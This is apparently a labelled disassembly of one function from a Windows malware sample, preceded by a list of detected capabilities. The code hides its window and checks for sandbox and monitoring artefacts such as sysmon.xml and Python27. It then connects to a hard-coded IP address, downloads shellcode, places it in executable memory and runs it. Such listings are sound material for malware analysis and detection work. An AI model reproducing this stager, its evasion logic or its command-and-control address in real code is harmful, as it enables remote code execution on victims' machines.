Function at 0x401170
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Enumerate files on windows
Execute shellcode via indirect call
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402d40
mov eax, dword fs:[0]
push eax
mov eax, 0x1308
call fcn.00402cf0
mov eax, dword [0x405040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 3
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x1180]
mov dword [ebp - 0x18], 0x2a2f3a43
push eax
lea eax, [ebp - 0x18]
mov byte [ebp - 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4011f7
push 0x401980
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.error____0xC000005
call fcn.00401760
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x401249
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x1154]
mov dword [ebp - 0x1314], eax
nop dword [eax]
mov eax, dword [0x40549c]
cmp eax, dword [0x4054a0]
je 0x40122e
lea ecx, [ebp - 0x1154]
mov dword [eax], ecx
add dword [0x40549c], 4
jmp 0x40123b
lea ecx, [ebp - 0x1314]
push ecx
push eax
call fcn.00401a70
lea eax, [ebp - 0x1180]
push eax
push esi
call edi
test eax, eax
jne 0x401210
mov ecx, dword [0x40549c]
xor esi, esi
mov ebx, dword [0x405498]
mov eax, ecx
sub eax, ebx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1314], ebx
test eax, 0xfffffffc
jne 0x4012aa
push 0x401980
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.error___0xC000006
call fcn.00401760
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401e52
mov esp, ebp
pop ebp
ret
cmp ebx, ecx
je 0x4015b0
mov ebx, dword [ebx]
mov ecx, str.Boot
mov eax, ebx
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4012e0
test dl, dl
je 0x4012dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4012e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4012c0
xor eax, eax
jmp 0x4012e5
sbb eax, eax
or eax, 1
test eax, eax
lea edi, [esi + 1]
mov ecx, str.BOOTNXT
mov eax, ebx
cmovne edi, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401314
test dl, dl
je 0x401310
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401314
add eax, 2
add ecx, 2
test dl, dl
jne 0x4012f4
xor eax, eax
jmp 0x401319
sbb eax, eax
or eax, 1
test eax, eax
lea esi, [edi + 1]
mov ecx, str.autoexec.bat
mov eax, ebx
cmovne esi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401348
test dl, dl
je 0x401344
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401348
add eax, 2
add ecx, 2
test dl, dl
jne 0x401328
xor eax, eax
jmp 0x40134d
sbb eax, eax
or eax, 1
test eax, eax
lea edi, [esi + 1]
mov ecx, str.Python27
mov eax, ebx
cmovne edi, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401380
test dl, dl
je 0x40137c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401380
add eax, 2
add ecx, 2
test dl, dl
jne 0x401360
xor eax, eax
jmp 0x401385
sbb eax, eax
or eax, 1
test eax, eax
lea ebx, [edi + 1]
mov eax, dword [ebp - 0x1314]
mov ecx, str.admin_data
cmovne ebx, edi
mov edi, dword [eax]
mov eax, edi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4013c0
test dl, dl
je 0x4013bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4013c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4013a0
xor eax, eax
jmp 0x4013c5
sbb eax, eax
or eax, 1
test eax, eax
lea esi, [ebx + 1]
push str.found
cmovne esi, ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll_strstr]
push edi
call ebx
test eax, eax
lea edi, [esi + 1]
push str.boot
cmove edi, esi
mov esi, dword [ebp - 0x1314]
push dword [esi]
call ebx
add esp, 0x10
lea ebx, [edi + 1]
test eax, eax
mov ecx, str.config.sys
mov eax, dword [esi]
cmove ebx, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401424
test dl, dl
je 0x401420
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401424
add eax, 2
add ecx, 2
test dl, dl
jne 0x401404
xor eax, eax
jmp 0x401429
sbb eax, eax
or eax, 1
test eax, eax
lea esi, [ebx + 1]
mov eax, dword [ebp - 0x1314]
mov ecx, str.mydownload
cmovne esi, ebx
mov ebx, dword [eax]
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401460
test dl, dl
je 0x40145c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401460
add eax, 2
add ecx, 2
test dl, dl
jne 0x401440
xor eax, eax
jmp 0x401465
sbb eax, eax
or eax, 1
test eax, eax
lea edi, [esi + 1]
mov ecx, str.event_stream.dll
mov eax, ebx
cmovne edi, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401494
test dl, dl
je 0x401490
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401494
add eax, 2
add ecx, 2
test dl, dl
jne 0x401474
xor eax, eax
jmp 0x401499
sbb eax, eax
or eax, 1
test eax, eax
lea esi, [edi + 1]
mov ecx, str.ps.xml
mov eax, ebx
cmovne esi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4014c8
test dl, dl
je 0x4014c4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4014c8
add eax, 2
add ecx, 2
test dl, dl
jne 0x4014a8
xor eax, eax
jmp 0x4014cd
sbb eax, eax
or eax, 1
test eax, eax
lea edi, [esi + 1]
mov ecx, str.sysmon.xml
mov eax, ebx
cmovne edi, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401500
test dl, dl
je 0x4014fc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401500
add eax, 2
add ecx, 2
test dl, dl
jne 0x4014e0
xor eax, eax
jmp 0x401505
sbb eax, eax
or eax, 1
test eax, eax
lea ebx, [edi + 1]
mov eax, dword [ebp - 0x1314]
mov ecx, str.security.xml
cmovne ebx, edi
mov edi, dword [eax]
mov eax, edi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401540
test dl, dl
je 0x40153c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401540
add eax, 2
add ecx, 2
test dl, dl
jne 0x401520
xor eax, eax
jmp 0x401545
sbb eax, eax
or eax, 1
test eax, eax
lea esi, [ebx + 1]
push str..log.
push edi
cmovne esi, ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
mov ebx, dword [ebp - 0x1314]
lea edi, [esi + 1]
add esp, 8
mov ecx, str.startup.bat
test eax, eax
mov eax, dword [ebx]
cmove edi, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401591
test dl, dl
je 0x40158d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401591
add eax, 2
add ecx, 2
test dl, dl
jne 0x401571
xor eax, eax
jmp 0x401596
sbb eax, eax
or eax, 1
test eax, eax
lea esi, [edi + 1]
cmovne esi, edi
add ebx, 4
mov dword [ebp - 0x1314], ebx
cmp ebx, dword [ebp - 0x18]
jne 0x4012b2
xorps xmm0, xmm0
lea eax, [ebp - 0x102c]
movlpd qword [ebp - 0x102c], xmm0
push eax
mov dword [ebp - 0x102c], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x1028]
lea ecx, [esi + 1]
cmp eax, 0x30d40
cmovbe ecx, esi
cmp ecx, 1
jg 0x40174d
lea eax, [ebp - 0x1310]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov eax, 2
push 0x49ad
mov word [ebp - 0x103c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x103a], ax
lea eax, [ebp - 0x1038]
push eax
push str.110.42.36.11
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x103c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
xorps xmm0, xmm0
mov dword [ebp - 0x101c], 0
xor eax, eax
movq qword [ebp - 0x1024], xmm0
xor ebx, ebx
mov dword [ebp - 0x1314], eax
xor edi, edi
mov dword [ebp - 0x1024], ebx
mov dword [ebp - 0x1020], edi
mov dword [ebp - 0x101c], eax
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1018]
push 0x1000
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4016e9
mov ebx, dword [sym.imp.WS2_32.dll_recv]
push eax
lea eax, [ebp - 0x1018]
push eax
push edi
lea ecx, [ebp - 0x1024]
call fcn.00401c50
push 0
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push esi
call ebx
mov edi, dword [ebp - 0x1020]
test eax, eax
jg 0x4016a8
mov eax, dword [ebp - 0x101c]
mov ebx, dword [ebp - 0x1024]
mov dword [ebp - 0x1314], eax
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x40
push 0x3000
sub edi, ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call esi
test ebx, ebx
je 0x40174d
mov ecx, dword [ebp - 0x1314]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x401743
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401743
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push ebx
call fcn.004020e0
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
jmp 0x401753